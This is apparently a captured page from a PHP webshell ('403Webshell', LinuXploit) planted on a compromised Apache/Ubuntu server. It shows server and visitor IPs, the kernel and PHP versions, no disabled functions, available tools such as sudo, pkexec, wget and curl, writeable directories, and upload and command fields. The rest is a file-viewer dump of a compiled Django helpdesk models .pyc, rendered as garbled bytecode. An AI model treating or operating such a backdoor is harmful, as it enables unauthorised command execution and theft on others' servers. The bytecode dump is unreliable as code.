403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/helpdesk/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/helpdesk/__pycache__/models.cpython-310.pyc
o

hͦh	#�@s|ddlZddlmZddlmZddlmZddlmZmZddl	m
Z
ddlmZ
ddlmZdd	lmZmZmZmZdd
lmZddlmZddlmZdd
lmZmZgd�Zgd�Zgd�Z gd�Z!Gdd�de�Z"Gdd�de�Z#Gdd�de�Z$Gdd�de�Z%Gdd�de�Z&Gdd�de�Z'Gdd�de�Z(Gd d!�d!e�Z)d"d#�Z*d$d%�Z+ej,e*e)d&�ej,e+e)d&�dS)'�N)�datetime)�apps)�models)�post_delete�	post_save)�ValidationError)�gettext_lazy)�HorillaCompanyManager)�Company�
Department�JobPosition�Tags)�Employee)�HorillaModel��get_diff)�HorillaAuditInfo�HorillaAuditLog))�low�Low)�medium�Medium)�high�High))�
departmentr)�job_positionzJob Position)�
individual�
Individual))�
suggestion�
Suggestion)�	complaint�	Complaint)�service_requestzService Request)�meeting_requestzMeeting Request)�anounymous_complaintzAnonymous Complaint)�others�Others))�new�New)�in_progresszIn Progress)�on_holdzOn Hold)�resolved�Resolved)�canceled�CanceledcsneZdZejeddejd�Zejeddejd�Z	eje
ddejd�Ze
d	�ZGd
d�d�Z�fdd
�Z�ZS)�DepartmentManager�Manager�dep_manager)�verbose_name�related_name�	on_deleter�dept_managerTF��null�editabler4�'manager__employee_work_info__company_idc@�eZdZdZdS)zDepartmentManager.Meta)r�managerN��__name__�
__module__�__qualname__�unique_together�rArA�/var/www/erp/helpdesk/models.py�Meta@�rCcs<t�j|i|��|j��|jksttd|j�d����dS)NzThis employee is not from z .)�super�cleanr;�get_departmentrr�_��self�args�kwargs��	__class__rArBrFCs�zDepartmentManager.clean)r=r>r?r�
ForeignKeyr�CASCADEr;rrr
�PROTECT�
company_idr	�objectsrCrF�
__classcell__rArArMrBr/.s&��
�r/c@s\eZdZejddd�Zejedd�Zejddd�Zej	e
ddejd�Ze
d	d
�Zdd�Zd
S)�
TicketType�dT)�
max_length�unique�2)�choicesrW�Fr6rR��related_company_fieldcC�|jS�N��title�rJrArArB�__str__R�zTicketType.__str__N)r=r>r?r�	CharFieldra�TICKET_TYPES�type�prefixrOr
rQrRr	rSrcrArArArBrUIs
�
rUcs&eZdZejdd�Zejeejddd�Z	eje
ejdd�Zejdd�Z
ejed	d
d�Zejdd
�Zejddd�Zejedd	d�Zejd	dd�Zejeddd�Zejddd�Zejeddd�Zejeddd�Zedegd�Ze dd�Z!Gdd�d�Z"�fdd�Z#d d!�Z$d"d#�Z%d$d%�Z&d&d'�Z'�Z(S)(�TicketrY�rW�ticket�Owner)r4r3r2zTicket Type)r4r2�rVr)rZrW�defaultT��auto_now_add)�blankr7r)rZrnrWz
Forward To)rWr2�ticket_assigned_to)rqr3�r7rq�ticket_tagsr'�history_set)r3�bases�+employee_id__employee_work_info__company_idr\c@seZdZdgZdS)zTicket.Metaz
-created_dateN)r=r>r?�orderingrArArArBrCws
rCcs<t�j|i|��|j}t����}||krttd���dS)Nz%Deadline should be greater than today)rErF�deadliner�today�daterrH)rJrKrLryrzrMrArBrFzs�zTicket.cleancCst|jrt|j�nd}d}|jdkrtjj|d�j}|S|jdkr*tjj|d�j}|S|jdkr8t	jj|d��
�}|S�Nr)�idrr)�	raised_on�int�assigning_typerrS�getrrrr�
get_full_name�rJ�obj_idr~rArArB�
get_raised_on�s

�
�zTicket.get_raised_oncCsl|jrt|j�nd}d}|jdkrtjj|d�}|S|jdkr(tjj|d�}|S|jdkr4tjj|d�}|Sr|)r~rr�rrSr�rrr�rArArB�get_raised_on_object�s

�
�zTicket.get_raised_on_objectcCr^r_r`rbrArArBrc�rdzTicket.__str__cCst|�S)zS
        This method is used to return the tracked history of the instance
        rrbrArArB�tracking�szTicket.tracking))r=r>r?rrerarOrrQ�employee_idrU�ticket_type�	TextField�description�PRIORITY�priority�	DateField�created_date�
resolved_date�
MANAGER_TYPESr�r~�ManyToManyField�assigned_toryr
�tags�
TICKET_STATUS�statusrr�historyr	rSrCrFr�r�rcr�rTrArArMrBriVsH
������ricsxeZdZejeejddd�Zejeejddd�Z	ej
dd�Zej
dd�ZGdd�d�Z
defdd	�Z�fd
d�Z�ZS)�ClaimRequestT)r4r7rqF)rnc@r:)zClaimRequest.Meta��	ticket_idr�Nr<rArArArBrC�rDrC�returncCs|j�d|j��S)N�|r�rbrArArBrc�szClaimRequest.__str__csBt�j|i|��|jstdtd�i��|jstdtd�i��dS)Nr�zThis field is required.r�)rErFr�rrHr�rIrMrArBrF�s�zClaimRequest.clean)r=r>r?rrOrirPr�rr��BooleanField�is_approved�is_rejectedrC�strrcrFrTrArArMrBr��s$��r�c@sReZdZejddd�Zejeejdd�Z	eje
ejdd�Zej
dd�Zdd�Zd	S)
�CommentTrs�comment)r4r3�employee_commentrocCr^r_)r�rbrArArBrc�rdzComment.__str__N)r=r>r?rr�r�rOrirPrkr�
DO_NOTHINGr��
DateTimeFieldr{rcrArArArBr��s�r�cs�eZdZejdd�Zejdddd�Zejdddd�Zej	e
ejdddd�Zej	e
ejddd	d�Zd
d�Z�fdd
�Zdd�Z�ZS)�
AttachmentzTickets/Attachment)�	upload_torVT)rWrqr7rY�ticket_attachment)r4r7rqr3�comment_attachmentcCsVgd�}ddg}tj�|jj�d��}||vrd|_dS||vr&d|_dSd|_dS)N)z.jpgz.jpegz.pngz.svgz.m4az.mp3��audio�image�file)�os�path�splitextr��url�lower�format)rJ�image_format�audio_format�file_extensionrArArB�get_file_format�s


zAttachment.get_file_formatcs&|��t�j|g|�Ri|��dSr_)r�rE�saverIrMrArBr��szAttachment.savecCstj�|jj�Sr_)r�r��basenamer��namerbrArArBrc�szAttachment.__str__)r=r>r?r�	FileFieldr�rer�r�rOrirPrkr�r�r�r�rcrTrArArMrBr��s*��r�c@s0eZdZejdd�Zejdddd�Zdd�ZdS)	�FAQCategory�rjTrm)rqr7rWcCr^r_r`rbrArArBrc�rdzFAQCategory.__str__N)	r=r>r?rrerar�r�rcrArArArBr��sr�c@sdeZdZejdd�Zejdd�Ze�e	�Z
ejeej
d�Zejeddej
d�Zedd�Zd	d
�ZdS)�FAQrmrj)r4TFr6rRr\cCr^r_)�questionrbrArArBrcrdzFAQ.__str__N)r=r>r?rrer�r��answerr�r
r�rOr�rQ�categoryr
rRr	rSrcrArArArBr��s

�
r�cK� ddlm}|�}|�|�dS�Nr�)�FAQIndex)�search_indexesr��
update_object��sender�instancerLr��indexrArArB�update_index
�r�cKr�r�)r�r��
remove_objectr�rArArB�remove_from_indexr�r�)r�)-r�r�djangor�	django.dbr�django.db.models.signalsrr�django.formsr�django.utils.translationrrH�base.horilla_company_managerr	�base.modelsr
rrr
�employee.modelsr�horilla.modelsr�horilla_audit.methodsr�horilla_audit.modelsrrr�r�rfr�r/rUrir�r�r�r�r�r�r��connectrArArArB�<module>s:		
M'

Youez - 2016 - github.com/yon3zu
LinuXploit